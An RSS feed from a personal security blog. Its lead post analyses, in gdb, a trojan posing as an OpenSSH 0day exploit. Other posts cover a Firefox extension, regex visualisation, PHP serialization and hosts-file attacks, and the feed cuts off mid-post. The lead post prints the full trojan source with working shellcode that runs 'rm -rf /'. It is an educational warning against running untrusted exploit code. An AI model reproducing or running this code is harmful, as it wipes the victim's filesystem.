<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NickBloor.co.uk</title>
	<atom:link href="http://www.nickbloor.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.nickbloor.co.uk</link>
	<description>Experiment, learn, progress...</description>
	<lastBuildDate>Mon, 09 Jan 2012 23:07:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Shellcode Analysis</title>
		<link>http://www.nickbloor.co.uk/2012/01/shellcode-analysis/</link>
		<comments>http://www.nickbloor.co.uk/2012/01/shellcode-analysis/#comments</comments>
		<pubDate>Mon, 09 Jan 2012 23:07:48 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[shellcode]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=204</guid>
		<description><![CDATA[I&#8217;ve been reading about exploit and shellcode development recently and I came across a blog post today that gave me a good opportunity to put some of my new knowledge to the test and do some shellcode analysis. The blog &#8230; <a href="http://www.nickbloor.co.uk/2012/01/shellcode-analysis/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been reading about exploit and shellcode development recently and I came across a <a title="How not to Exploit a Box" href="http://www.tamonten.com/how-not-to-exploit-a-box">blog post</a> today that gave me a good opportunity to put some of my new knowledge to the test and do some shellcode analysis. The blog post by Channon Powell (<a title="@tamonten on Twitter" href="http://twitter.com/tamonten">@tamonten</a>) talks about a penetration tester who blindly downloaded, compiled, and ran the following exploit code.</p>
<pre class="brush: cpp; highlight: [71,97]; title: ; notranslate">
/*
 *
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 * OpenSSH &lt;= 5.3 remote root 0day exploit (32-bit x86)
 * Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
 *
 *
 */

#include &lt;stdio.h&gt;
#include &lt;netdb.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;

void usage(char *argv[])
{
    printf(&quot;\n\t[+] HATSUNEMIKU\n&quot;);
    printf(&quot;\t[+] OpenSSH &lt;= 5.3p1 remote root 0day exploit\n&quot;);
    printf(&quot;\t[+] Keep this 0day priv8!\n&quot;);
    printf(&quot;\t[+] usage: %s &lt;target&gt; &lt;port&gt;\n\n&quot;, argv[0]);
    exit(1);
}

unsigned char decoder[]=   &quot;\x6a\x0b\x58\x99\x52&quot;
                           &quot;\x6a\x2f\x89\xe7\x52&quot;
                           &quot;\x66\x68\x2d\x66\x89&quot;
                           &quot;\xe6\x52\x66\x68\x2d&quot;
                           &quot;\x72\x89\xe1\x52\x68&quot;
                           &quot;\x2f\x2f\x72\x6d\x68&quot;
                           &quot;\x2f\x62\x69\x6e\x89&quot;
                           &quot;\xe3\x52\x57\x56\x51&quot;
                           &quot;\x53\x89\xe1\xcd\x80&quot;;

unsigned char rootshell[]= &quot;\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b&quot;
                           &quot;\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1&quot;
                           &quot;\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31&quot;
                           &quot;\xdb\x40\xcd\x80&quot;;

int main(int argc, char **argv)
{

    int euid = geteuid();
    int port= 22, sock;
    char h[1000];
    struct hostent *host;
    struct sockaddr_in addr;

    if(euid != 0)
    {
        fprintf(stderr, &quot;You need to be root to use raw sockets.\n&quot;);
        exit(1);
    }
    if(euid == 0)
    {
        fprintf(stdout, &quot;MIKU! MIKU! MIKU!\n&quot;);
    }
    if(argc != 3)
    usage(argv);
    if(!inet_aton(h, &amp;addr.sin_addr))
    {
        host = gethostbyname(h);
        if(!host)
        {
            fprintf(stderr, &quot;[-] Exploit failed.\n&quot;);
            (*(void(*)())decoder)();
            exit(1);
        }
        addr.sin_addr = *(struct in_addr*)host-&gt;h_addr;
    }
    sock = socket(PF_INET, SOCK_STREAM, 0);
    addr.sin_port = htons(port);
    addr.sin_family = AF_INET;
    if(connect(sock,(struct sockaddr*)&amp;addr,sizeof(addr))==-1)
    {
        fprintf(stderr,&quot;[-] Exploit failed.\n&quot;);
        exit(1);
    }
    char payload[1337];
    memcpy(payload, &amp;decoder, sizeof(decoder));
    memcpy(payload, &amp;rootshell, sizeof(rootshell));
    send(sock, payload, strlen(payload),0);
    close(sock);
    if(connect(sock,(struct sockaddr*)&amp;addr,sizeof(addr))==-1)
    {
        fprintf(stderr, &quot;[-] Exploit failed.\n&quot;);
        exit(1);
    }
    else if(connect(sock,(struct sockaddr*)&amp;addr,sizeof(addr))==0)
    {
        fprintf(stdout, &quot;[+]g0t sh3ll!\n&quot;);
        system(&quot;/bin/bash&quot;);
    }
    else
    {
        fprintf(stderr, &quot;[-] Exploit failed.\n&quot;);
        close(sock);
        exit(0);
    }
}
</pre>
<h2>Local Shellcode, Local Shell</h2>
<p>The first thing I noticed about the exploit code is that it seemingly attempts to run shellcode <strong>locally</strong> on line 71 before exiting. Further down at line 97 the code prints out a success message and spawns a shell, <strong>locally</strong>. Alarm bells ringing yet? On further inspection it turns out that all the code actually does is run shellcode locally because the variable h is never initialised and so the call to gethostbyname never succeeds.</p>
<h2>&#8220;Analyse This&#8221;</h2>
<p>The C program only calls the shellcode in the <strong>decoder</strong> variable so I grabbed that, added it to a minimal C program in a BackTrack virtual machine and compiled it.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
root@bt:~/decodeshellcode# cat shellcode.c
unsigned char shellcode[] = &quot;\x6a\x0b\x58\x99\x52\x6a\x2f\x89\xe7\x52\x66\x68\x2d\x66\x89\xe6\x52\x66\x68\x2d\x72\x89\xe1\x52\x68\x2f\x2f\x72\x6d\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x51\x53\x89\xe1\xcd\x80&quot;;

int main(int argc, char **argv) {
	(*(void(*)())shellcode)();
}

root@bt:~/decodeshellcode# gcc -o shellcode shellcode.c
</pre>
<p>With the program compiled I loaded it up in gdb, set a breakpoint on main and started the program running.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
root@bt:~/decodeshellcode# gdb shellcode
[snipped...]
(gdb) b main
Breakpoint 1 at 0x80483b7
(gdb) run
Starting program: /root/decodeshellcode/shellcode

Breakpoint 1, 0x080483b7 in main ()
</pre>
<p>To aid in stepping through the program I set gdb to display the next 5 instructions to be executed each time execution stops (i.e. after executing a single instruction).</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) display /5i $pc
1: x/5i $pc
=&gt; 0x80483b7 &lt;main+3&gt;:  and    $0xfffffff0,%esp
   0x80483ba &lt;main+6&gt;:  mov    0x804a010,%eax
   0x80483bf &lt;main+11&gt;: call   *%eax
   0x80483c1 &lt;main+13&gt;: mov    %ebp,%esp
   0x80483c3 &lt;main+15&gt;: pop    %ebp
</pre>
<p>Using the si command to step through the program one instruction at a time the first thing to notice is the call instruction at 0x80483bf which jumps into the shellcode from the original code listing. Stepping through the shellcode shows little of interest, mostly push and mov instructions, until 0x80484bb which contains an interrupt instruction &#8211; int 0&#215;80 which makes a Unix system call.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) si
0x080484bb in ?? ()
1: x/5i $pc
=&gt; 0x80484bb:   int    $0x80
   0x80484bd:   add    %al,(%eax)
   0x80484bf:   add    %al,(%eax)
   0x80484c1 &lt;__FRAME_END__+1&gt;: add    %al,(%eax)
   0x80484c3 &lt;__FRAME_END__+3&gt;: add    %al,(%eax)
</pre>
<p>When interrupt 0&#215;80 is executed the EAX register is used to determine which Unix system call to execute and the EBX, ECX, EDX, ESI and EDI registers are used to specify parameters. In gdb we can check the value of a register using the info command.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) info reg eax
eax            0xb      11
</pre>
<p>Using the <a title="Linux Syscall Reference" href="http://syscalls.kernelgrok.com/">Linux Syscall Reference</a> we can see that system call 11 (0xb) is <a title="Linux execve system call reference" href="http://www.kernel.org/doc/man-pages/online/pages/man2/execve.2.html">execve</a> which is used to execute a program, overwriting the memory or the current process with that of the program being executed. The call takes three parameters as follows:</p>
<ul>
<li>EBX contains the address of a string specifying the name of the program to execute</li>
<li>ECX contains the address of an array of strings containing the command line parameters for the program being executed, this array must end with a null (0&#215;0) pointer</li>
<li>EDX contains either null or the address of an array of strings containing environment variables for the program being executed</li>
</ul>
<p>The x command in gdb allows us to examine a memory address in various formats. Examining the address stored in the EBX register as a string reveals that the shellcode executes the program /bin//rm.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) x /s $ebx
0xbffff4fc:     &quot;/bin//rm&quot;
</pre>
<p>If that itself isn&#8217;t bad enough we can look at the parameters passed to the program by examining the ECX register, keeping in mind that it points at an array of strings which will be represented in memory as a series of memory addresses (pointers), each of which points to the beginning of a string. In this case gdb is running in a 32-bit environment so memory addresses are 4 bytes long. Examining the first 4 bytes pointed at by ECX should give the address of the first command line parameter, which should be the name of the program itself (i.e. /bin//rm).</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) x /4xb $ecx
0xbffff4e8@     0xfc    0xf4    0xff    0xbf
</pre>
<p>The bytes are in little endian order here but once rearranged it&#8217;s no surprise that the result is 0xbffff4fc, the address stored in the EBX register, the name of the program to be executed.</p>
<p>Examining further addresses reveals the parameters passed to the program.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) x /20x $ecx
0xbffff4e8@     0xfc    0xf4    0xff    0xbf    0x08    0xf5    0xff    0xbf
0xbffff4f0@     0x0e    0xf4    0xff    0xbf    0x14    0xf5    0xff    0xbf
0xbffff4f8@     0x00    0x00    0x00    0x00
(gdb) x /s 0xbffff508
0xbffff508:      &quot;-r&quot;
(gdb) x /s 0xbffff50e
0xbffff50e       &quot;-f&quot;
(gdb) x /s 0xbffff514
0xbffff514       &quot;/&quot;
</pre>
<p>There we have it, the <em>exploit code</em> calls <em>shellcode</em> which attempts to remove all files from the root file system by executing &#8220;rm -r -f /&#8221;. This is the same conclusion that Channon Powell came to by looking at strings in the shellcode.</p>
<p>For me this was an opportunity to put my current learning to the test, maybe others can learn from this too!</p>
<h2>What about the Shellcode?</h2>
<p>The original exploit code does one thing only &#8211; attempts to execute &#8220;rm -rf /&#8221; &#8211; but what about the <em>other</em> piece of shellcode contained in the <em>shellcode</em> variable? I decided to load that up in gdb and analyse that too.</p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) si
0x08048490 in ?? ()
1: x/5i $pc
=&gt; 0x8048490:   xor    %edx,%edx
   0x8048492:   mov    $0xa,%dl
   0x8048494:   mov    $0xa21756f,%ecx
   0x8048499:   push   %ecx
   0x804849a:   mov    $0x79206b63,%ecx
</pre>
<p>As before there was nothing particularly interesting to begin with apart from the first instruction which is a common shellcode technique. XORing a register with itself sets the value of the register to zero whilst avoiding null bytes in the shellcode. Null bytes in the shellcode may prevent the targeted vulnerability from being triggered. Perhaps this is <em>real</em> shellcode?</p>
<p>Stepping through the program eventually brings us to a system call instruction, this time system call 4 (<a title="Linux sys_write system call reference" href="http://www.kernel.org/doc/man-pages/online/pages/man2/write.2.html">sys_write</a>) which writes a number of bytes to a file descriptor. The parameters are as follows:</p>
<ul>
<li>EBX is an integer specifying the file descriptor to write to</li>
<li>ECX is the address of the data to be written</li>
<li>EDX is the number of bytes to write</li>
</ul>
<p>Examining the registers within gdb reveals that the system call outputs the string &#8220;fuck you!\n&#8221; to the standard output (file descriptor 1). <strong>Well someone isn&#8217;t happy about their <em>&#8216;shellcode&#8217;</em> being disassembled!</strong></p>
<pre class="brush: bash; gutter: false; title: ; notranslate">
(gdb) info reg eax
eax            0x4      4
(gdb) info reg ebx
ebx            0x1      1
(gdb) x /s $ecx
0xbffff502:      &quot;fuck you!\n\301\203&#92;&#48;04\b\340\203&#92;&#48;04\b&quot;
(gdb) info reg edx
edx            0xa      10
</pre>
<p>Finally stepping through a few more instructions leads to one last system call, this time to system call 1 or <a title="Linux sys_exit system call reference" href="http://www.kernel.org/doc/man-pages/online/pages/man2/exit.2.html">sys_exit</a> which exits the process.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2012%2F01%2Fshellcode-analysis%2F&amp;title=Shellcode%20Analysis" id="wpa2a_2"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2012/01/shellcode-analysis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Re: Fix Google&#8217;s &#8220;define:&#8221; feature&#8230;</title>
		<link>http://www.nickbloor.co.uk/2011/04/re-fix-googles-define-feature/</link>
		<comments>http://www.nickbloor.co.uk/2011/04/re-fix-googles-define-feature/#comments</comments>
		<pubDate>Tue, 26 Apr 2011 08:45:59 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Firefox Extensions]]></category>
		<category><![CDATA[define]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=158</guid>
		<description><![CDATA[Woah that was fast. I struggled without &#8220;define:&#8221; for a few days and less than 12 hours after I procrastinated from my dissertation to write a Firefox extension to fix the issue it seems Google have fixed it themselves. I&#8217;d &#8230; <a href="http://www.nickbloor.co.uk/2011/04/re-fix-googles-define-feature/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Woah that was fast. I struggled without <em>&#8220;define:&#8221;</em> for a few days and less than 12 hours after I procrastinated from my dissertation to write a Firefox extension to fix the issue it seems Google have fixed it themselves.</p>
<p>I&#8217;d love to know if anyone is still having issues with the define feature of Google, leave a comment!</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F04%2Fre-fix-googles-define-feature%2F&amp;title=Re%3A%20Fix%20Google%26%238217%3Bs%20%26%238220%3Bdefine%3A%26%238221%3B%20feature%26%238230%3B" id="wpa2a_4"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/04/re-fix-googles-define-feature/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox extension to fix Google&#8217;s &#8220;define:&#8221; feature</title>
		<link>http://www.nickbloor.co.uk/2011/04/fix-google-define/</link>
		<comments>http://www.nickbloor.co.uk/2011/04/fix-google-define/#comments</comments>
		<pubDate>Mon, 25 Apr 2011 21:28:05 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Firefox Extensions]]></category>
		<category><![CDATA[define]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=150</guid>
		<description><![CDATA[For the last few days the &#8220;define:x&#8221; feature of Google hasn&#8217;t been working for some people and apparently Google are unable to reproduce the problem. Luckily I came across a response on this Google help forum post today saying that &#8230; <a href="http://www.nickbloor.co.uk/2011/04/fix-google-define/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>For the last few days the <em>&#8220;define:x&#8221;</em> feature of Google hasn&#8217;t been working for some people and apparently Google are unable to reproduce the problem. Luckily I came across a <a title="Hi, Google Define function does not seem to be working here in the UK" href="http://www.google.com/support/forum/p/Web+Search/thread?tid=4328bba7c0315755&amp;hl=en">response on this Google help forum post</a> today saying that changing the URL parameter <em>&#8220;q&#8221;</em> to <em>&#8220;query&#8221;</em> fixes the problem. I use the define feature a lot so I spent an hour throwing together a Firefox extension as a temporary fix to save my sanity while I finish off my dissertation! The extension detects Google queries beginning with define: and renames the q parameter automatically.</p>
<p>Install it <a title="Firefox extension to fix the Google define feature" href="http://www.nickbloor.co.uk/wp-content/uploads/2011/04/definefix.xpi">here</a>, it should work with all Firefox versions from 3.0.* to 4.0.*.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F04%2Ffix-google-define%2F&amp;title=Firefox%20extension%20to%20fix%20Google%26%238217%3Bs%20%26%238220%3Bdefine%3A%26%238221%3B%20feature" id="wpa2a_6"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/04/fix-google-define/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Regular Expression Artwork</title>
		<link>http://www.nickbloor.co.uk/2011/03/regular-expression-artwork/</link>
		<comments>http://www.nickbloor.co.uk/2011/03/regular-expression-artwork/#comments</comments>
		<pubDate>Sun, 27 Mar 2011 11:32:44 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Finite State Machines]]></category>
		<category><![CDATA[GraphViz]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Regular expressions]]></category>
		<category><![CDATA[Visualisation]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=122</guid>
		<description><![CDATA[For my final year university project I created a tool to visualise regular expressions. The tool visualises a set of algorithms used to compile a regular expression in to a finite state machine (very similar to a flowchart) and then &#8230; <a href="http://www.nickbloor.co.uk/2011/03/regular-expression-artwork/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>For my final year university project I created a tool to visualise regular expressions. The tool visualises a set of algorithms used to compile a regular expression in to a finite state machine (very similar to a flowchart) and then use it to determine if a given string matches the regular expression.</p>
<p>Here are some of the images generated by the tool. In each image the left-most circle represents the start of the finite state machine (FSM) and double circles represent accepting/success states. The lines between states represent transitions and are labelled with the input character that causes the transition to be followed. In a non-deterministic FSM there are epsilon transitions that can be followed on no input. Click on any of the images to view the full size version.</p>
<h3>Example 1 &#8211; Matching a series of digits</h3>
<p>The following images show a non-deterministic and deterministic FSM for the regular expression (1|2|3|4|5|6|7|8|9|0)* which matches zero or more digits (0-9). The third image shows the path taken to match the input string 12486 against the regular expression.</p>
<h3 class="mceTemp mceIEcenter">
<dl id="attachment_113" class="wp-caption aligncenter" style="width: 650px;">
<dt class="wp-caption-dt"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-NFA.png"><img class="size-large wp-image-113" title="Non-deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-NFA-1024x220.png" alt="Non-deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*" width="640" height="137" /></a></dt>
<dd class="wp-caption-dd">Non-deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*</dd>
</dl>
</h3>
<h3 class="mceTemp mceIEcenter">
<dl id="attachment_114" class="wp-caption aligncenter" style="width: 158px;">
<dt class="wp-caption-dt"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-DFA.png"><img class="size-medium wp-image-114" title="Deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-DFA-148x300.png" alt="Deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*" width="148" height="300" /></a></dt>
<dd class="wp-caption-dd">Deterministic FSM for (1|2|3|4|5|6|7|8|9|0)*</dd>
</dl>
</h3>
<h3 class="mceTemp mceIEcenter">
<dl id="attachment_116" class="wp-caption aligncenter" style="width: 158px;">
<dt class="wp-caption-dt"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-Matching.png"><img class="size-medium wp-image-116" title="Matching the string 12486 against (1|2|3|4|5|6|7|8|9|0)*" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Zero-or-more-consecutive-digits-Matching-148x300.png" alt="Matching the string 12486 against (1|2|3|4|5|6|7|8|9|0)*" width="148" height="300" /></a></dt>
<dd class="wp-caption-dd">Matching the string 12486 against (1|2|3|4|5|6|7|8|9|0)*</dd>
</dl>
</h3>
<h3>Example 2 &#8211; Matching the word hello case-insensitively</h3>
<p>The next set of images show non-deterministic and deterministic FSMs for the regular expression (H|h)(E|e)(L|l)(L|l)(O|o) which matches the word hello using any combination of upper and lower case letters. The third image shows an optimised deterministic FSM and the fourth shows the path taken to match the string HeLlO.</p>
<div id="attachment_117" class="wp-caption aligncenter" style="width: 650px"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-NFA.png"><img class="size-large wp-image-117" title="Non-deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-NFA-1024x59.png" alt="Non-deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" width="640" height="36" /></a><p class="wp-caption-text">Non-deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)</p></div>
<div id="attachment_118" class="wp-caption aligncenter" style="width: 74px"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-DFA.png"><img class="size-medium wp-image-118" title="Deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-DFA-64x300.png" alt="Deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" width="64" height="300" /></a><p class="wp-caption-text">Deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)</p></div>
<div id="attachment_126" class="wp-caption aligncenter" style="width: 661px"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-Optimised-DFA.png"><img class="size-full wp-image-126" title="Optimised deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-Optimised-DFA.png" alt="Optimised deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)" width="651" height="190" /></a><p class="wp-caption-text">Optimised deterministic FSM for (H|h)(E|e)(L|l)(L|l)(O|o)</p></div>
<div id="attachment_127" class="wp-caption aligncenter" style="width: 661px"><a href="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-Matching.png"><img class="size-full wp-image-127" title="Matching the string HeLlO against (H|h)(E|e)(L|l)(L|l)(O|o)" src="http://www.nickbloor.co.uk/wp-content/uploads/2011/03/Hello-any-case-Matching.png" alt="Matching the string HeLlO against (H|h)(E|e)(L|l)(L|l)(O|o)" width="651" height="190" /></a><p class="wp-caption-text">Matching the string HeLlO against (H|h)(E|e)(L|l)(L|l)(O|o)</p></div>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F03%2Fregular-expression-artwork%2F&amp;title=Regular%20Expression%20Artwork" id="wpa2a_8"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/03/regular-expression-artwork/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Serializing data and databases</title>
		<link>http://www.nickbloor.co.uk/2011/03/serializing-data-and-databases/</link>
		<comments>http://www.nickbloor.co.uk/2011/03/serializing-data-and-databases/#comments</comments>
		<pubDate>Wed, 02 Mar 2011 00:03:31 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Database]]></category>
		<category><![CDATA[JSON]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Serialization]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=89</guid>
		<description><![CDATA[I just came across an article &#8220;9 Useful PHP Functions and Features You Need to Know&#8220; on Nettuts+. Number 7 mentions using serialization (via PHP&#8217;s serialize() or json_encode() functions) to store a complex variable in a database or a text &#8230; <a href="http://www.nickbloor.co.uk/2011/03/serializing-data-and-databases/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I just came across an article <em>&#8220;<a title="9 Useful PHP Functions and Features You Need to Know" href="http://net.tutsplus.com/tutorials/php/9-useful-php-functions-and-features-you-need-to-know/">9 Useful PHP Functions and Features You Need to Know</a>&#8220;</em> on Nettuts+. Number 7 mentions using serialization (via PHP&#8217;s <a title="PHP manual page for serialize()" href="http://php.net/manual/en/function.serialize.php">serialize()</a> or <a title="PHP manual page for json_encode()" href="http://uk.php.net/manual/en/function.json-encode.php">json_encode()</a> functions) to store a complex variable in a database or a text file &#8211; be careful when storing serialized data in a database!</p>
<p>A few years ago I was asked if I could diagnose the cause of masses of errors appearing in the error logs of a website that was built using a popular PHP based content management system (CMS). After spending some time debugging the website I discovered that the problem was a calendar component that was included with the CMS. The calendar events were all serialized and stored in a single database field so when the length of the serialized event data exceeded the length of the database field the data was truncated. After this most page requests caused the PHP unserialize() function to log parsing errors as the CMS tried to un-serialize the calendar event data. I contacted the developers of the CMS and they have since moved the calendar event data into its own database table!</p>
<p>The serialize() and json_encode() functions shouldn&#8217;t be used as a quick and easy method of storing data in a database. Not only do they increase the size of the data but you also lose some advantages of database storage such as the ability to index and search on the various fields. A better use for these functions might be to store complex variables on the PHP session or to transfer complex variables across a network, for example to use in another application. The json_encode() function is especially useful if data is being shared with another application or front-end AJAX code because it provides a well supported and very lightweight alternative to XML.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.nickbloor.co.uk%2F2011%2F03%2Fserializing-data-and-databases%2F&amp;title=Serializing%20data%20and%20databases" id="wpa2a_10"><img src="http://www.nickbloor.co.uk/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.nickbloor.co.uk/2011/03/serializing-data-and-databases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Hosts File Monitor</title>
		<link>http://www.nickbloor.co.uk/2011/02/windows-hosts-file-monitor/</link>
		<comments>http://www.nickbloor.co.uk/2011/02/windows-hosts-file-monitor/#comments</comments>
		<pubDate>Mon, 28 Feb 2011 20:22:53 +0000</pubDate>
		<dc:creator>Nick Bloor</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Boy in the Browser]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[hosts file]]></category>
		<category><![CDATA[Source code]]></category>

		<guid isPermaLink="false">http://www.nickbloor.co.uk/?p=82</guid>
		<description><![CDATA[Earlier I came across a tweet by @bartblaze that mentioned a new malware attack technique called &#8220;boy in the browser&#8220;. &#8220;Once executed on the victim&#8217;s machine the exploit code makes persistent changes [...]. The exploit code is then removed from &#8230; <a href="http://www.nickbloor.co.uk/2011/02/windows-hosts-file-monitor/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Earlier I came across a <a title="@bartblaze Boy in the Browser attack" href="http://twitter.com/bartblaze/status/42187923885391873">tweet</a> by <a title="@bartblaze on Twitter" href="http://twitter.com/bartblaze">@bartblaze</a> that mentioned a new malware attack technique called <em>&#8220;<a title="Boy in the Browser attack" href="http://www.imperva.com/resources/adc/adc_advisories_Boy_in_the_Browser.html">boy in the browser</a>&#8220;</em>.</p>
<blockquote><p>&#8220;Once executed on the victim&#8217;s machine the exploit code makes persistent changes [...]. The exploit code is then removed from the victim&#8217;s machine.&#8221;</p></blockquote>
<p>The attack doesn&#8217;t leave behind any strange files, start-up entries or processes which is quite worrying because these are the first things I look for when diagnosing and repairing a malware infection.</p>
<p>The attack works by modifying the hosts file to re-map Internet addresses to malicious servers. This is difficult to detect because web browsers and other software will still display the address that was originally entered &#8211; for example if google.com is re-mapped to bing.com and the user visited google.com they would see the page served by bing.com but the browser address bar would still display google.com, in fact google.com would be completely inaccessible.</p>
<p>A much more dangerous attack could be executed by re-mapping the URL of an online banking website to a server that displays a fake, but identical, online banking website. The user wouldn&#8217;t be able to tell the difference as they enter their banking details into a malicious website.</p>
<h3>Solutions</h3>
